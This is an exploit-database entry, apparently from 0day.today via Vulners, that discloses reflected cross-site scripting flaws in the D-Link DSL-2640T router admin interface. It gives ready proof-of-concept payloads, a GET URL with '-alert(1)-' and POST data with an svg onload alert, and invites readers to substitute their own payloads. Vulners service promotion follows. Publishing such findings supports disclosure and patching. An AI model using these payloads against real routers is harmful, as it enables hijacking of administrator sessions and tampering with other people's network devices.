# Exploit Title: Multiple XSS Vulnerabilities in D-Link DSL-2640T
# Exploit Author: Anas Falhi/m0ti0nl3ss ,https://anasfalhi.blogspot.com.
# Tested on: D-Link DSL-2640T
# Tags: xss, cross site scripting, D-Link DSL-2640T router
POC:
a!XSS via GET
URL:
http://192.168.1.1:5050/cgi-bin/webcm?getpage=../html/home/home_RelaodHref.htm&var:RelaodHref=
"-alert(1)-"
----------------------------------------------------------------------------------------------------------------------------------------------------------------
a!XSS via POST
URL: http://192.168.1.1:5050/cgi-bin/webcm
Post Data: getpage=..%2fhtml%2fhome%2fwanPPP.htm&var%3aconid="><svg/
onload=alert(1)>&var%3amycon=yyyy&var%3apreForm=bbbb&var%3acontype=vvvv&var%3acontypeReal=
Note: Replace: yyyy, bbbb, vvvv with your XSS payload
# 0day.today [2018-10-13] #Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation